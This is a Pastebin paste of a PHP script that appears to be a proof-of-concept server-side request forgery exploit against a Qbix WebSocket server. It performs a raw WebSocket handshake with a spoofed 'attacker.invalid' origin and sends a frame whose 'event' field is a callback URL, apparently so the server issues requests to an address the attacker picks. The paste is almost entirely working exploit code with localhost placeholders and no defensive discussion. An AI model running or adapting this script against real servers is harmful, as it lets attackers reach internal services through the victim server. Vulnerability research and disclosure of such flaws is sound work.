Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function readExact($stream, $length)
- {
- $result = '';
- while (strlen($result) < $length) {
- $chunk = fread($stream, $length - strlen($result));
- if ($chunk === false || $chunk === '') {
- throw new RuntimeException('WebSocket closed before the ACK arrived');
- }
- $result .= $chunk;
- }
- return $result;
- }
- $serverHost = '127.0.0.1'; // Host
- $serverPort = 8080;
- $callback = 'http://127.0.0.1:8000'; // The location we want to get POSTed JSON from
- $socket = stream_socket_client(
- "tcp://{$serverHost}:{$serverPort}",
- $errno,
- $error,
- 3
- );
- if (!$socket) {
- throw new RuntimeException($error, $errno);
- }
- $key = base64_encode(random_bytes(16));
- $request = "GET /ordinary-path HTTP/1.1\r\n"
- . "Host: {$serverHost}:{$serverPort}\r\n"
- . "Upgrade: websocket\r\n"
- . "Connection: Upgrade\r\n"
- . "Sec-WebSocket-Version: 13\r\n"
- . "Sec-WebSocket-Key: {$key}\r\n"
- . "Origin: https://attacker.invalid\r\n\r\n";
- fwrite($socket, $request);
- $response = '';
- while (!str_contains($response, "\r\n\r\n")) {
- $chunk = fread($socket, 4096);
- if ($chunk === false || $chunk === '') break;
- $response .= $chunk;
- }
- if (!str_starts_with($response, 'HTTP/1.1 101')) {
- throw new RuntimeException("Upgrade failed:\n" . $response);
- }
- $payload = json_encode(array(
- 'event' => $callback,
- 'data' => array('marker' => 'qbix-websocket-ssrf'),
- 'ack' => 1,
- ), JSON_UNESCAPED_SLASHES);
- // Build a standards-compliant masked client text frame.
- $mask = random_bytes(4);
- $length = strlen($payload);
- if ($length < 126) {
- $frame = chr(0x81) . chr(0x80 | $length);
- } elseif ($length <= 65535) {
- $frame = chr(0x81) . chr(0x80 | 126) . pack('n', $length);
- } else {
- throw new RuntimeException('Unexpectedly large proof payload');
- }
- $masked = '';
- for ($i = 0; $i < $length; $i++) {
- $masked .= $payload[$i] ^ $mask[$i % 4];
- }
- fwrite($socket, $frame . $mask . $masked);
- // Read the unmasked text frame that Qbix sends for the acknowledgement.
- stream_set_timeout($socket, 2);
- $header = readExact($socket, 2);
- $opcode = ord($header[0]) & 0x0f;
- $replyLength = ord($header[1]) & 0x7f;
- if ($replyLength === 126) {
- $replyLength = unpack('nlength', readExact($socket, 2))['length'];
- } elseif ($replyLength === 127) {
- $parts = unpack('Nhigh/Nlow', readExact($socket, 8));
- if ($parts['high'] !== 0) {
- throw new RuntimeException('Unexpectedly large ACK frame');
- }
- $replyLength = $parts['low'];
- }
- if ($opcode !== 1) {
- throw new RuntimeException("Expected a text ACK frame; received opcode {$opcode}");
- }
- $reply = readExact($socket, $replyLength);
- echo "WebSocket reply: {$reply}\n";
- fclose($socket);
Add Comment
Please, Sign In to add comment